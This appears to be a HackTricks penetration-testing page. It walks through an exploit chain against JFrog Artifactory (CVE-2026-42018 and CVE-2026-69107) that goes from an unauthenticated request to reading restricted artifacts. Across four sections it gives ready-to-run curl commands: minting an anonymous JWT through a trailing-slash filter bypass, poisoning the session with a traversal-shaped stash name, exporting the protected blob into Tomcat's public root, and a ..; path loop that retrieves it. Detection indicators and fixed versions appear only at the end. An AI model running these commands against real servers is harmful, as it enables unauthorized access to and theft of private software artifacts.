// HackTricks · Network Services

Artifactory Hacking Guide

Artifactory Hacking Guide

The linked guide collects practical Artifactory testing notes covering anonymous access, repository permissions, version-specific vulnerabilities, and post-exploitation paths. Validate every technique against the deployed Artifactory version because endpoints, defaults, and mitigations have changed over time.[1]

Anonymous JWT to restricted-artifact exfiltration

A useful Artifactory review pattern is to follow an identity from the security filter chain into UI helpers, session objects, content-addressed storage, filesystem export code, and finally the reverse proxy. CVE-2026-42018 and CVE-2026-69107 demonstrate how four mismatches across those layers can turn an unauthenticated request into arbitrary restricted-artifact read.[2][3][4]

1. Trailing-slash security-filter mismatch

In vulnerable versions, the AWS token-exchange authentication filter exactly matches POST /api/v1/aws/token, but the JAX-RS resource also accepts /api/v1/aws/token/. The trailing slash makes Spring’s AntPathRequestMatcher return false, so OncePerRequestFilter.shouldNotFilter() skips the AWS header and IAM-identity validation while the request still reaches the token handler. Test path variants—trailing and duplicate separators, encoded separators, dot segments, and path parameters—whenever a filter and resource router use different matchers.[2]

curl -sS -X POST \
  'https://artifactory/access/api/v1/aws/token/' \
  -H 'Content-Type: application/json' \
  -d '{}'

After the intended filter is skipped, Spring’s fallback anonymous filter populates the empty security context. The token resource uses @SkipAuthorization, reads only the context username, and mints a JWT without proving that AWS authentication established that identity. Artifactory’s anonymous principal is a database user in the users role, so the returned applied-permissions/user token can satisfy endpoints guarded by @RolesAllowed({"admin", "user"}) even when ordinary anonymous access is disabled.[2]

JWT='<access_token>'
curl -sS 'https://artifactory/artifactory/api/system/version' \
  -H "Authorization: Bearer ${JWT}"

This is broader than a login-form bypass: audit any credential-minting endpoint that trusts a generic SecurityContext principal. Require evidence that the expected mechanism authenticated the principal, rather than merely checking that some fallback identity exists. See also Login Bypass and 403 & 401 Bypasses.[2]

2. ACL-free object hydration and session poisoning

The deprecated stash feature accepts search-result models at POST /artifactory/ui/stashResults. For a quick result, attacker-controlled repoKey and relativePath values are combined into a RepoPath; RepositoryServiceImpl.getItemInfo() then returns a FileInfo with SHA-1/SHA-256, size, timestamps, and repository metadata without checking whether the caller may read that logical path. Existing and nonexistent artifact paths also produce distinguishable outcomes, creating a repository/artifact enumeration oracle.[2]

The same flow calls request.getSession(true) for a bearer-only request and stores the hydrated object under the attacker-controlled name. Consequently, the bearer JWT is upgraded to a stateful session containing privileged metadata for an otherwise unreadable artifact. This pattern is worth testing in search, clipboard, batch, export, backup, replication, and restore helpers: accepting an identifier and constructing a trusted internal object can bypass the normal object-level authorization layer.[2]

STASH='../opt/jfrog/artifactory/app/artifactory/tomcat/webapps/ROOT/markertag'

curl -sk --path-as-is -D headers.txt -c cookies.txt -X POST \
  "https://artifactory/artifactory/ui/stashResults?name=${STASH}" \
  -H "Authorization: Bearer ${JWT}" \
  -H 'Content-Type: application/json' \
  -H 'X-Requested-With: artUI' \
  -d '[{"type":"quick","repoKey":"sample-repo","relativePath":"builds/sample/sample-v1.0.0"}]'

A successful response sets a SESSION cookie and binds the restricted artifact’s FileInfo to the traversal-shaped stash key. Retain both the JWT and cookie for the export request. This is an application-specific instance of IDOR/BOLA, but the referenced object is server-side metadata rather than a simple numeric record.[2]

3. Content-addressed export plus secondary-component traversal

Artifactory’s export path dereferences the stashed object with getBinary(sourceFile.getSha1(), headers); no repository ACL is rechecked immediately before the blob read. In a content-addressed system, possession of a valid digest or metadata object can therefore become equivalent to read permission if low-level export/restore code treats the digest as sufficient authority.[2]

The export endpoint validates the JSON body path, but later constructs a child directory from the unvalidated stash name and a timestamp:

String baseExportName = searchResults.getName() + "-" + timestamp;
File tmpExportDir = new File(validatedBaseDir, baseExportName);

Validating only validatedBaseDir is insufficient. A stash name beginning with ../ survives the concatenation, and FileUtils.forceMkdir() resolves it when creating the final parent. Validation must canonicalize the complete destination after every attacker-controlled component is appended and then verify that it remains below the export root. See File Inclusion and Path Traversal.[2]

The security-relevant export request fields are the same traversal-shaped name, a permitted base such as /tmp, and the session that contains the poisoned stash object. Other JSON flags may be required by the deployed endpoint schema.[2]

curl -sk --path-as-is -D export-headers.txt -b cookies.txt -X POST \
  "https://artifactory/artifactory/ui/stashResults/export?name=${STASH}" \
  -H "Authorization: Bearer ${JWT}" \
  -H 'Content-Type: application/json' \
  -H 'X-Requested-With: artUI' \
  -d '{"path":"/tmp"}'

With the example stash name, the restricted blob is copied beneath Tomcat’s unauthenticated static root in a directory named markertag-yyyyMMdd.HHmmss. The HTTP response Date header bounds the timestamp search; the original research found that testing the response second and the preceding two seconds was sufficient. Exporting a protected object into an unprotected web root bypasses its logical repository ACL even though the vulnerable API never returns the bytes directly.[2]

If the attacker also controls the source artifact’s content and filename, this becomes a constrained arbitrary-file-write primitive. Do not claim RCE without separately accounting for the mandatory timestamped parent directory, retained source filename, extensions, and permissions; the demonstrated chain used the write only for exfiltration.[2]

4. jf-router/Tomcat path-parser differential

In a typical deployment, jf-router/Traefik exposes a route matching ^/artifactory/(.*)$ and forwards it to Tomcat on localhost:8081. The frontend matches and forwards a raw /artifactory/..;/... path, while Tomcat strips the semicolon path parameter, obtains a .. segment, and normalizes into its root web application. One URL therefore both selects the backend route and escapes the /artifactory context.[2]

Use a client that preserves the raw path; curl otherwise normalizes dot segments before transmission:

curl -si --path-as-is \
  'https://artifactory/artifactory/..;/index.html'

A vulnerable route returns Tomcat’s root index.html rather than an Artifactory-context resource. After export, request candidate timestamped directories through the same differential:[2]

TAG='markertag'
for TS in 20260713.112308 20260713.112307 20260713.112306; do
  code=$(curl -sk --path-as-is -o /tmp/artifact -w '%{http_code}' \
    "https://artifactory/artifactory/..;/${TAG}-${TS}/sample-v1.0.0")
  [ "$code" = 200 ] && sha256sum /tmp/artifact && break
done

When port 8081 is directly reachable, the ..; routing step is unnecessary and the timestamped static path can be requested from Tomcat directly. For other stacks, compare the raw and normalized path at every hop and test semicolon parameters, trailing slashes, duplicate separators, encoded separators, and mixed encodings. See Proxy/WAF Protections Bypass and Tomcat path traversal.[2]

Detection and remediation

High-signal review points for this chain include the following.[2]

  • POST /access/api/v1/aws/token/ with a trailing slash, especially followed by anonymous-user JWT activity.
  • Tokens for anonymous whose description is Generated access token for Aws assumed role token exchange.
  • Bearer-authenticated /artifactory/ui/stashResults and /stashResults/export requests that also create/use a SESSION cookie.
  • Stash names containing ../, installation paths, or tomcat/webapps/ROOT.
  • Unexpected name-yyyyMMdd.HHmmss directories beneath the Tomcat root application.
  • Raw URLs containing /artifactory/..;/, particularly repeated requests across adjacent timestamps.

CVE-2026-42018 is fixed in 7.146.8. CVE-2026-69107 is fixed in 7.104.16, 7.111.14, 7.117.21, 7.125.14, 7.133.21, and 7.146.8 for the corresponding maintained branches. Upgrade to a fixed release, prevent direct external access to backend ports and internal router administration endpoints, and inspect the Tomcat web root and access logs for the indicators above.[2][3][4]

References